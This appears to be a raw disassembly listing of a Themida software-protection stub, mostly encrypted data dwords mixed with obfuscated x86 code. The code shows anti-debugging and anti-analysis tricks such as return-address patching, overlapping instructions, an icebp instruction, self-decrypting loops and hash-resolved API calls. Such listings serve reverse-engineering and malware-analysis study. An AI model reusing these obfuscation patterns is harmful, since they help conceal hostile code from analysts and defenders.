		sub	esi, 4
		cmc
		cmp	esi, 0FFFF92B0h
		jnz	loc_5DDD39
		movsx	ecx, si
		jmp	loc_5DE019
; ---------------------------------------------------------------------------
		pusha
		mov	cx, ds
		test	cl, 4
		jz	loc_5DDDF5
		push	1
		push	dword ptr [ebp+7E4019Dh]
		lea	eax, [ebp+7E7B0A7h]
		call	eax
		mov	[ebp+7E40FA5h],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20060000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+7E40FA5h]
		jmp	loc_5DDE27
; ---------------------------------------------------------------------------


loc_5DDDF5:				; CODE XREF: Themida_:005DDDBAj
		mov	byte ptr [ebp+7E42C2Dh], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+7E42141h]
		lea	eax, [ebp+7E7B0A7h]
		call	eax
		mov	[ebp+7E40B5Dh],	eax
		lea	eax, [ebp+7E41CE5h]
		push	eax
		push	40h
		push	5
		push	esi
		call	dword ptr [ebp+7E40B5Dh]


loc_5DDE27:				; CODE XREF: Themida_:005DDDF0j
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5DDE35:				; DATA XREF: Themida_:005848E0o
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+7E9B9A6h],	eax
		mov	eax, [edx+0Ch]
		mov	[ebp+7E9B99Eh],	eax
		mov	eax, [edx+10h]
		mov	[ebp+7E9B9A2h],	eax
		lea	esi, [ebp+7E9B9DCh]
		lea	eax, [ebp+5B8EA1h]
		call	eax
		popa
		pop	edx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	esi, [ebp+7E9B9A6h]
		mov	eax, [ebp+7E9B99Eh]
		cmp	dword ptr [ebp+7E9B9A2h], 0
		jz	loc_5DDE87
		mov	[esi], eax
		jmp	locret_5DDE89
; ---------------------------------------------------------------------------


loc_5DDE87:				; CODE XREF: Themida_:005DDE7Aj
		mov	[esi], al

locret_5DDE89:				; CODE XREF: Themida_:005DDE82j
		iret
; ---------------------------------------------------------------------------
		align 4
		dd 0
		db 2 dup(0)
aRlLbIejSNSNebo	db 'R‹Τ`‹B',8,'‰…¦Ήι',7,'΅-Ίι',7,'…‘Ž[',0 ; DATA XREF: Themida_:0058488Co
; ---------------------------------------------------------------------------
		call	eax
		popa
		pop	edx
		mov	eax, [ebp+7E9B9A6h]
		retn	4
; ---------------------------------------------------------------------------
		dd 0B9A6858Bh, 8B07E9h,	0B9A68589h, 0CF07E9h, 60000000h
		dd 0BA03B589h, 858907E9h, 7E9B9FFh, 2E5858Dh, 408B07E4h
		dd 3C858944h, 8D07E9BAh, 0E9BA72B5h, 0A1858D07h, 0FF005B8Eh
		dd 858B61D0h, 7E9BA03h,	0FF9D8BC3h, 0F07E9B9h, 33C43B7h
		dd 785B8BD8h, 0B9FF9D03h, 738B07E9h, 0FFB50324h, 5607E9B9h
		dd 8B207B8Bh, 0BD031C73h, 7E9B9FFh, 0B9FFB503h,	83FC07E9h
		dd 8B41FFC9h, 0E9BA039Dh, 3178B07h, 0E9B9FF95h,	4C78307h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0E9B9FF85h, 3858907h, 8B07E9BAh, 8BCE8BF0h
		dd 3CBD81C1h, 7E9BAh, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 7E9BA3Ch
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 3CBD8100h
		dd 7E9BAh, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 7E9BA3Ch, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h
		db 0CFh
; ---------------------------------------------------------------------------


loc_5DE019:				; CODE XREF: Themida_:005DDDAEj
		lea	eax, [ebp+7E9B9AAh]
		mov	[ebp+7E42455h],	eax
		lea	eax, [ebp+7E9BA40h]
		mov	[ebp+7E40A89h],	eax
		lea	eax, [ebp+7E9BA07h]
		mov	[ebp+7E42401h],	eax
		jmp	loc_5DE17E
; ---------------------------------------------------------------------------
		align 4
		dd 4Eh dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE17E:				; CODE XREF: Themida_:005DE03Dj
		cmp	dword ptr [ebp+7E40101h], 1
		jz	loc_5DE5E9
		jg	loc_5DE1A3
		js	loc_5DE1A3
		jmp	loc_5DE1A3
; ---------------------------------------------------------------------------
		xchg	eax, esp
		imul	dword ptr [ecx-6386C2C0h]


loc_5DE1A3:				; CODE XREF: Themida_:005DE18Bj
					; Themida_:005DE191j ...
		mov	byte ptr [ebp+7E42C2Dh], 43h
		push	0
		push	edx
		call	sub_5DE1B5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DE1B5	proc near		; CODE XREF: Themida_:005DE1ADp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5DE1B5	endp

; ---------------------------------------------------------------------------
		db 0B5h, 0B8h, 66h
		dd 0AF83E58Bh, 850FFE6Ah, 1Dh, 12E860h,	0F5150000h, 4B2F21E3h
		dd 8137E2B4h, 0B194851h, 1ECEDD81h, 0C7BF0F5Bh,	0CB66061h
		dd 9E8h, 9F9A8800h, 0AF3DE51h, 5E82AFFh, 67000000h, 6AC05EAAh
		dd 68615958h, 880DFD76h, 0E8605250h, 7,	367380EEh, 5B944ADEh
		dd 60310F61h, 5CABE66h,	81585A61h, 2D832434h, 6A64A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E98D8CC3h, 0Ah, 0DD951A37h,	7DCE7Ah, 0B5FF66D9h, 7E42141h
		dd 0CE9h, 0EEFA9400h, 6E60BFC8h, 819096E0h, 0A7858DF4h
		dd 6A07E7B0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 4F92C356h, 5D4E1BC6h, 0F8D0FFF8h
		dd 9558589h, 0C6F907E4h, 0E42C2D85h, 53605007h,	0BE8h
		dd 4E6F6F00h, 64C14829h, 6047B113h, 0D1815E5Eh,	1661D5E2h
		dd 0BAF56861h, 52505CB9h, 0E8DAB260h, 8, 5A44D694h, 393F35FBh
		dd 310F615Bh, 7E9h, 0AF52F400h,	0E99D6D63h, 481585Ah, 0F3F26124h
		dd 18F0F4Bh, 0F9000000h, 2141B5FFh, 840F07E4h, 16h, 11E9h
		dd 1830D400h, 8213DFDDh, 4D264B51h, 82B6FEF6h, 858DEAD6h
		dd 7E7B0A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0D7C35747h, 0FFDB3812h,	8589FCD0h, 7E41E79h, 9E9h
		dd 4E929C00h, 4786AB76h, 576841FFh, 0E9EDA8A7h,	14h, 0AD58DF9Ch
		dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 583351DAh,	0D8240481h
		dd 0F02E700h, 18Ah, 0B5FFF900h,	7E42141h, 6E860h, 9C0E0000h
		dd 17E9ADDCh, 5B32E180h, 1870F61h, 0FC000000h, 0B0A7858Dh
		dd 0FFFC07E7h, 0AE9D0h,	0AD150000h, 0AA49B4C8h,	877672E0h
		dd 13BD8589h, 0C6F907E4h, 0E42C2D85h, 68F55007h, 9EDEBAAEh
		dd 5E515660h, 3481615Bh, 4266F824h, 108D0F09h, 0E9000000h
		dd 0Bh,	147601A4h, 0FFA17A9h, 0FF55B386h, 0E4019DB5h, 0F576007h
		dd 80h,	80605F00h, 6161E6F5h, 3BDC858Dh, 6A07E4h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0BF33BEC3h, 0E83FDE65h, 11E9h, 9DE65400h, 1CADE154h
		dd 174CA6FAh, 0D39DDF87h, 0D0FFBF86h, 33D28160h, 0E91D98FDh
		dd 8, 0C884030Bh, 0FDD03165h, 0B9858961h, 6007E418h, 6135B6F9h
		dd 174E9h, 88A0F00h, 60000000h,	0B966E8B4h, 50618190h
		dd 13E9h, 8CBE2500h, 53100136h,	74ACD05Ah, 0CA232565h
		dd 0C5545175h, 0F8242C89h, 6AEC8Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 4D8363C3h
		dd 0F880F71h, 0E9000000h, 0Ah, 2459909Eh, 4C4B8793h, 83F8C18Ah
		dd 6AFCC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E4B3E7C3h, 15088E67h, 8A0F20B2h,	0Ah, 81DA8A60h
		dd 6D262FD1h, 0F606102h, 183h, 0E8F900h, 5A000000h, 0C090EA81h
		dd 45C707E9h, 0FCh, 1BA8300h, 107E401h,	98840Fh, 6A520000h
		dd 0FF0F6A00h, 0E4095592h, 82895A07h, 7E9BBB7h,	0BBBB9A8Dh
		dd 0C75207E9h, 12803h, 0FF505300h, 0E41E7992h, 8D525A07h
		dd 0E9BBBB9Ah, 0B2FF5307h, 7E9BBB7h, 18B992FFh,	0B5A07E4h
		dd 8D5074C0h, 0E9BBBB9Ah, 247B8D07h, 0F981C933h, 104h
		dd 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh,	0BA8D0C75h
		dd 7E427BDh, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 27BD828Dh
		dd 0FF5007E4h, 0E413BD92h, 0C00B5A07h, 45C7A075h, 1FCh
		dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 8B0F0008h
		dd 1, 7E9F5h, 1D660000h, 0B8E4F603h
; ---------------------------------------------------------------------------
		lahf


loc_5DE5E9:				; CODE XREF: Themida_:005DE185j
		mov	edx, edx
		call	near ptr loc_5DE5F0+5


loc_5DE5F0:				; CODE XREF: Themida_:005DE5EBp
		xor	cl, [edi-7F53F781h]
		fild	qword ptr [ecx+5Eh]
		mov	di, si
		add	esi, 710Ch
		mov	bx, dx
		mov	edx, 1C19h
		mov	edi, eax
; START	OF FUNCTION CHUNK FOR sub_5DE66B


loc_5DE60C:				; CODE XREF: sub_5DE66B:loc_5DE68Dj
		push	dword ptr [esi]
		pop	eax
		mov	ecx, 38C1FC0Fh
		sub	eax, 765F9D4Bh
		mov	ecx, edx
		sub	eax, 1BE8DEE4h
		call	sub_5DE62F
		test	[esi], esi
		enter	2097h, 0EFh
		cmpsb
		outsd
; END OF FUNCTION CHUNK	FOR sub_5DE66B

; =============== S U B	R O U T	I N E =======================================



sub_5DE62F	proc near		; CODE XREF: sub_5DE66B-49p
		mov	ebx, 2589D7E5h
		pop	ebx
		xor	eax, 74FDABFh
		xor	edi, 607154A4h
		push	eax
		pop	dword ptr [esi]
		push	ecx
		jnb	loc_5DE64E
		sub	bl, 46h


loc_5DE64E:				; CODE XREF: sub_5DE62F+16j
		pop	ebx
		sub	esi, 4
		sub	edx, 1
		jnz	loc_5DE684
		call	sub_5DE66B
		icebp
		fsubr	dword ptr [esi]
		mov	al, 4
		cmc
		cmp	al, 36h
sub_5DE62F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DE66B	proc near		; CODE XREF: sub_5DE62F+2Fp

; FUNCTION CHUNK AT 005DE60C SIZE 00000023 BYTES

		mov	ecx, 20074368h
		pop	ebx
		jmp	loc_5DE69C
; ---------------------------------------------------------------------------
		dw 8378h
		db 90h
; ---------------------------------------------------------------------------
		mov	ah, 91h
		scasb
		pop	esi
		cld
		jmp	short sub_5DE6AD
; ---------------------------------------------------------------------------
		dd 7726A59Ch
; ---------------------------------------------------------------------------


loc_5DE684:				; CODE XREF: sub_5DE62F+29j
		jge	loc_5DE68D
		xor	bh, 20h


loc_5DE68D:				; CODE XREF: sub_5DE66B:loc_5DE684j
		jmp	loc_5DE60C
; ---------------------------------------------------------------------------
		dw 0ECBEh
		dd 0D7D1544Dh, 2A16AE8h
; ---------------------------------------------------------------------------


loc_5DE69C:				; CODE XREF: sub_5DE66B+6j
		lea	ecx, [ebp+7E9C2E3h]
		push	0
		push	ecx
		call	sub_5DE6AD
		and	[ecx-3Dh], bl
sub_5DE66B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DE6AD	proc near		; CODE XREF: sub_5DE66B+13j
					; sub_5DE66B+3Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5DE6AD	endp

; ---------------------------------------------------------------------------
		db 0E9h, 1Eh, 2Eh
; ---------------------------------------------------------------------------
		mov	ebx, 76B178BEh
		jmp	loc_5DE6D1
; ---------------------------------------------------------------------------
		dw 0FA1Bh
		dd 9AFB914Bh
		db 0
; ---------------------------------------------------------------------------


loc_5DE6D1:				; CODE XREF: Themida_:005DE6C5j
		mov	[ebp+7E41B71h],	ecx
		push	0
		push	ebp
		call	sub_5DE6E2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DE6E2	proc near		; CODE XREF: Themida_:005DE6DAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5DE6E2	endp

; ---------------------------------------------------------------------------
		dw 2764h
		dd 85C7BF69h, 7E42DA1h,	5954h, 8E9h, 201EA300h,	1EB8FD6Ch
		dd 0B985C7AFh, 7E422h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B87C357h
		dd 23699D09h, 0B5FF07E4h, 7E42BF1h, 95FFC18Bh, 7E43061h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4CC35646h
		dd 6AA9DC78h, 4195FF00h, 8B07E40Eh, 591AEBC0h, 85F4CBE0h
		dd 3BFFA1B1h, 5A4984E2h, 2B3858Eh, 272884E3h, 56EC796Dh
		dd 898D8D5Dh, 6007E9C3h, 718D8961h, 307E41Bh, 0E4020DBDh
		dd 0A185C707h, 0E407E42Dh, 6A00005Eh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 66E7C357h
		dd 0A68F781h, 22B985C7h, 7E4h, 0B5FF0000h, 7E41D49h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F5C35242h, 0D67D9C65h
		dd 330AD733h, 0E423FD9Dh, 6195FF07h, 8B07E430h,	0FF006AF1h
		dd 0E40E4195h, 0EBC08B07h, 530E1E7Fh, 0C8C5B238h, 0AFB719DCh
		dd 64BE4DFEh, 71145E16h, 68B84739h, 0D0A33DF2h,	0B5A850FFh
		dd 63E8D690h, 0E283C274h, 0E3680FFCh, 0B196F32Ah, 0F8267C6Ch
		dd 1F3CAC58h, 7088DAF2h, 7CF1FF37h, 6B157375h, 0E6822636h
		dd 6AD008E3h, 8D954A39h, 0F30996FBh, 0F300173Fh, 423FB884h
		dd 0A3F7BEDEh, 6A4A8C12h, 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h
		dd 26678CC5h, 27D266A1h, 708F7DB7h, 10D8F314h, 1F3613DCh
		dd 2B12BF6Eh, 0F25063BCh, 6447123h, 7A383543h, 0FCE97078h
		dd 81AA8597h, 33D48550h, 0D144F1E0h, 1D4005E8h,	13FC884Eh
		dd 3CE83202h, 33E918F6h, 61E95FB9h, 33E93634h, 0F0B3156Eh
		dd 17BDBC6Dh, 17ADB49Fh, 33E920C9h, 0F0BB77E6h,	0E4682057h
		dd 799AFE96h, 33EA0B35h, 0FA68536Eh, 8E6AA296h,	340D3BB6h
		dd 226D3ACDh, 3CE935E6h, 33E931F7h, 0D15353B9h,	30F4DC88h
		dd 0E562356Eh, 0F7C4B0BAh, 3C893272h, 33E9374Ch, 0B88855E6h
		dd 55795489h, 55B9C232h, 0A3CDBA62h, 0F7E6B0E3h, 338332DEh
		dd 33EADDCDh, 6DC935CDh, 47606B25h, 77683157h, 33F2319Dh
		dd 65AF35DCh, 0A75E7DADh, 24F17F3Dh, 0CC5E3AB8h, 33EBB5C2h
		dd 0F96335E6h, 87B68C23h, 37604B94h, 0F75C8BF8h, 0A616205Ah
		dd 340D22EAh, 0DBBC35F1h, 33E935CEh, 6E2A68C6h,	37CD59FAh
		dd 37CD7138h, 33E935C4h, 0B62A602Bh, 4108667Ah,	33E6DCCBh
		dd 316535CDh, 0D2A7A290h, 0A50ED014h, 0D5A919E4h, 8D8F6C6Dh
		dd 0F3625634h, 33E939DEh, 0A0CA499Bh, 1BE91359h, 89708255h
		dd 0C254B6AAh, 33EED1AAh, 8E6A3CA9h, 340D3C5Bh,	63F04137h
		dd 8B29BEC8h, 33E931B7h, 2790B06Fh, 0AE643297h,	340FDC49h
		dd 6BB2E623h, 3ADC88EDh, 47E932D3h, 8BBA658Ch, 33E931B7h
		dd 2790B06Fh, 0AE643297h, 340FD366h, 6BB2E623h,	8EAF7BD1h
		dd 0FB625349h, 3383F510h, 33EADD9Ah, 6CC935E6h,	4F606AB0h
		dd 7768319Dh, 33FC31F8h, 64AE356Eh, 0B3D516F4h,	0BE11CF5Eh
		dd 0DA2D2250h, 0BE3ABEE1h, 0DA4DBCF6h, 0E316CCBEh, 0DBBA35B6h
		dd 33E9356Dh, 682A6E17h, 37CD6912h, 37CD714Ch, 33E935FFh
		dd 682A6630h, 81DC811Dh, 3C293E5Ch, 33E948EAh, 33EFDC37h
		dd 0C681359Bh, 0C1451375h, 7C0EA86Bh, 63BB3297h, 6A63FC39h
		dd 33EA8D85h, 3383356Eh, 33EADD67h, 6BC9359Bh, 77606D0Eh
		dd 776831C2h, 33F23157h, 63A935B9h, 7B35FC1Fh, 0C7490154h
		dd 31613A2Fh, 0B8E9359Bh, 8A8F553Eh, 0B88FBC38h, 0D0165480h
		dd 0DBBF35D3h, 33E935DFh, 6D2A6B4Eh, 37CD41BEh,	37CD711Ah
		dd 33E935DBh, 372A63A0h, 0B5E6415Ch, 33E935BFh,	8EEDA5Dh
		dd 0AE6461BBh, 3400F128h, 6E00B5C9h, 0BA6CB893h, 0CCEEDC42h
		dd 3C293EA3h, 33E9AA3Dh, 63E95FDCh, 33E93686h, 0F0B11537h
		dd 17ADBCC3h, 17ADB4C9h, 33E92FE2h, 0F0B97573h,	0F30FD4C6h
		dd 3CB4917Eh, 33E938E7h, 33ECDD37h, 0D31C359Bh,	53DB041Ah
		dd 0AE646F87h, 340D7A94h, 33E93A51h, 2C6D5DDCh,	0AD1B2E24h
		dd 6B2DAF80h, 0E0E1B9C3h, 33E93C24h, 0FE0269E6h, 49EF97E9h
		dd 8BB60D60h, 33E935DDh, 0DBBF3504h, 33E93534h,	6D2A6BBBh
		dd 37CD4144h, 37CD7167h, 33E93567h, 252A63FFh, 3383D623h
		dd 33EADD3Bh, 6EC93537h, 5F606858h, 776831E9h, 33FF31C2h
		dd 66AC3573h, 0B7E4627Ah, 0F7CDA851h, 33833287h, 33EADD60h
		dd 6CC9359Bh, 4F606A0Eh, 776831C2h, 33FE3157h, 64AE35B9h
		dd 0B2BA61Fh, 0C4626285h, 0BA6CB868h, 59EEDC3Fh, 300166CDh
		dd 13E935E6h, 0BAB2F628h, 0B2ED11E5h, 2BED1198h, 70E9356Eh
		dd 6021F664h, 0CBBAD369h, 3CB9E532h, 33E9366Bh,	0F8563A73h
		dd 0B88F55E3h, 0D268530Fh, 3888BCCDh, 276D3AF7h, 0BEE9359Bh
		dd 0D7A6D250h, 2C5053E1h, 33EA8D69h, 0D01635B9h, 702682D3h
		dd 8222BE08h, 3E54B874h, 0BEEEDC5Fh, 0DA2EFF40h, 6F948DE1h
		dd 0B6DABF38h, 340D17ACh, 0DA28FAF7h, 0F128AE64h, 0B5C93400h
		dd 0B8936E00h, 0DC42BA6Ch, 3EA3CCEEh, 0AA3D3C29h, 5E983E9h
		dd 0C08BA4F3h, 8BF9EF8Ah, 34BE66C3h, 8BC08B95h,	0F1BD83FEh
		dd 7E413h, 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h
		dd 47Ah, 0EED8589h, 9D8D07E4h, 7E6EA57h, 585BD3FFh, 935BD83h
		dd 740007E4h, 0B8535017h, 47Ah,	0EED8589h, 9D8D07E4h, 7E6E6F8h
		dd 585BD3FFh, 0CE9h, 27C86600h,	0FFAA1ECDh, 0EC7C928Ah
		dd 55006A6Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0F8795140h, 897E0B5h, 0FE952h, 0FCBB0000h
		dd 9223ED56h, 423B1F7Bh, 0E9C2EA82h, 0F605A1Eh,	0BA66DEBFh
		dd 8B61ACB6h, 848D8DC0h, 6A07E9C9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FF7C357h
		dd 68Ah, 8C0F00h, 1000000h, 0E41B199Dh,	718D8907h, 6A07E41Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 89DDC357h, 0E430BD9Dh, 59BD8907h,	6607E42Ch
		dd 85C7F98Bh, 7E42DA1h,	71CCh, 1860Fh, 8BF90000h, 0B985C7D8h
		dd 7E422h, 53000000h, 0D818D31h, 0FF5807E4h, 0E406A5B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 98A30569h, 503C4F08h, 8D89196Fh,	7E40881h
		dd 306195FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 2A5011C3h, 941858Bh, 0F98B07E4h
		dd 95FF006Ah
		db 41h,	0Eh, 0E4h
; ---------------------------------------------------------------------------


loc_5DEE0F:				; DATA XREF: Themida_:00582D0Co
					; Themida_:0058320Co
		pop	es
		mov	eax, eax
		jmp	short loc_5DEE51
; ---------------------------------------------------------------------------
		dd 6C2E7C34h, 0E22247D3h, 0D194B4E5h, 2B7EC397h, 75175A38h
		dd 1400621Ch, 0C8CB3443h, 0FB487312h, 34BA42C3h, 7644A220h
		dd 30AB7891h, 6CE54A29h, 0B0B8BF50h, 35824FAEh,	0CD6965B0h
		db 20h
; ---------------------------------------------------------------------------


loc_5DEE51:				; CODE XREF: Themida_:005DEE12j
		mov	eax, eax


loc_5DEE53:				; CODE XREF: Themida_:005DEE71j
		push	0
		push	ebx
		call	sub_5DEE5E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DEE5E	proc near		; CODE XREF: Themida_:005DEE56p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5DEE5E	endp

; ---------------------------------------------------------------------------
		mov	[ebx+7Eh], ecx
		jecxz	short loc_5DEE53
		cmc
		shl	byte ptr [esi-46h], 5Bh
		das
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5DEE8B
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5DEEA4


loc_5DEE8B:				; CODE XREF: Themida_:005DEE80j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 3FCh
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E9F0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5DEEA4:				; CODE XREF: Themida_:005DEE89j
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5DEEC4
		push	eax
		push	ebx
		mov	eax, 3FCh
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E6DFh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5DEEC4:				; CODE XREF: Themida_:005DEEABj
		movsx	edx, dx
		mov	dx, 0D2B8h
		mov	eax, eax
		jmp	loc_5DEEE4
; ---------------------------------------------------------------------------
		dw 9E3Ch
		dd 711324D9h, 6DDC97Eh,	2F46E8E3h, 8FB77926h
; ---------------------------------------------------------------------------


loc_5DEEE4:				; CODE XREF: Themida_:005DEECDj
		cmp	dword ptr [ebp+7E42015h], 1
		jz	loc_5DEF5D
		push	0
		push	edx
		call	sub_5DEEFC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DEEFC	proc near		; CODE XREF: Themida_:005DEEF4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5DEEFC	endp

; ---------------------------------------------------------------------------
		dd 0F8F920Fh, 0C8Ah, 68F0F00h, 0F000000h, 86h, 0BD83F900h
		dd 7E40E2Dh, 2E850F00h,	66000000h, 0F26E381h, 15DBD83h
		dd 0F0007E4h, 4F84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h
		db 0F3h
; ---------------------------------------------------------------------------


loc_5DEF5D:				; CODE XREF: Themida_:005DEEEBj
		jmp	loc_5DF30B
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5DEF6D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DEF6D	proc near		; CODE XREF: Themida_:005DEF65p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5DEF6D	endp

; ---------------------------------------------------------------------------
		db 68h,	4Bh, 0
		dd 0F000000h, 0B060DBB7h, 0A7D88137h, 61468467h, 0A42459Bh
		dd 4A3CF7E2h, 0C133F086h, 4CE47BA4h, 26B7E7E4h,	90339AB7h
		dd 0C133F3B0h, 26AD02Ch, 0E57F794Fh, 0E577710Fh, 0C133EA81h
		dd 262B1C2h, 9B03D625h,	0CE06E12Fh, 0C133F7DCh,	4055902Ch
		dd 0A0EB39CFh, 468820F4h, 28756856h, 0C133F42Fh, 2965F00Bh
		dd 0C133F0B3h, 9FF0AE78h, 0C51784A5h, 0C517B497h, 0C133F01Fh
		dd 0D0F0A6C3h, 0C1331897h, 406EF061h, 28F8875Dh, 94339A5Fh
		dd 0C133F3C4h, 26ED016h, 0E55F7956h, 0E5777181h, 0C133E4C6h
		dd 266B561h, 90339AC5h,	0C133F3B0h, 26AD02Ch, 0E57F794Fh
		dd 0E577710Fh, 0C133E781h, 262B1C2h, 0B1EF1FCh,	1B8263Bh
		dd 38D9713Eh, 0C7816082h, 18B89646h, 0CE67469Bh, 3F17BC84h
		dd 2961F0A8h, 0C133F062h, 9BF0AA90h, 0C517A4D1h, 0C517B4ADh
		dd 0C133F003h, 33F0A249h, 406B0C31h, 9DEF1918h,	0C33FF551h
		dd 0C159F0B0h, 0C1301809h, 9813F02Ch, 8DBAA9D5h, 85B2F42Fh
		dd 0C12BF4A1h, 9072F0C2h, 0EDAC8FA2h, 16B862BAh, 9BC47A0Ah
		dd 0CECFF8A7h, 0C133F392h, 7BE4700Bh, 3D7B7BE3h, 2961F0A8h
		dd 0C133F062h, 9BF0AA90h, 0C517A4D1h, 0C517B4ADh, 0C133F00Dh
		dd 0B9F0A249h, 8C7E77F0h, 4B5F8A49h, 0DAD171BCh, 793FEE7Dh
		dd 0C133F059h, 2962F046h, 0C133F015h, 98F0A92Bh, 0C517BC0Ch
		dd 0C517B443h, 0C133F07Bh, 0A0F0A1F1h, 11731639h, 4F3CDB3Eh
		dd 0C133F013h, 3952906Bh, 0B389A0E4h, 4838CC6Ch, 0AB2D46Dh
		dd 0ACAC22ECh, 0ABEA7C3Eh, 0C2DBA02Ch, 0E133F016h, 486B3353h
		dd 4037D4C1h, 0D637D486h, 8133F061h, 67A933E0h,	0C525B4h
		dd 0DFB6FF28h, 9133F017h, 0C1387E04h, 0C7DAF085h, 2D33F0C2h
		dd 702CA16Fh, 0AB6AAA8Bh, 0C2DBA158h, 0E133F02Ch, 486A334Fh
		dd 4037D447h, 0D837D4C1h, 8033F0C2h, 56DA3330h,	1E4C4CFBh
		dd 0C133E0B0h, 4794A42Ch, 0A475FE0Dh, 49F90CA4h, 0A7CB0445h
		dd 0C7B5FF89h, 0CE33F061h, 0C133F035h, 0F8B3AB58h, 0E7B6FF44h
		dd 0A133F017h, 40550381h, 0A06D9665h, 38328949h, 0C1330FE0h
		dd 433C70B0h, 0C133F155h, 2961F046h, 0C133F015h, 9BF0AA2Bh
		dd 0C517A40Ch, 0C517B443h, 0C133F07Bh, 0ECF0A2F2h, 93904735h
		dd 405597B8h, 674B0FCh,	28F9048Eh, 0C133F182h, 91339AC2h
		dd 0C133F389h, 26BD0B0h, 0E5777900h, 0E5777128h, 0C133EA12h
		dd 263B00Bh, 9667F8Dh, 28D2818Eh, 0C133F086h, 2962F0DAh
		dd 0C133F05Bh, 98F0A90Ch, 0C517BC9Fh, 0C517B48Ah, 0C133F091h
		dd 8DF0A183h, 370803E0h, 4FDACE96h, 0AB33F058h,	0C2DBA12Ch
		dd 0E133F016h, 486A3352h, 4037D4C9h, 0DA37D486h, 8033F061h
		dd 227633E1h, 0AB2568A9h, 3865FE63h, 0A7CBA94Ch, 3E388988h
		dd 0C168748Ah, 0C159F0C2h, 0C1301836h, 9E13F0B0h, 0BDBAAF9Bh
		dd 85B2F408h, 0C127F432h, 9674F00Bh, 44F45346h,	0C6DA3A36h
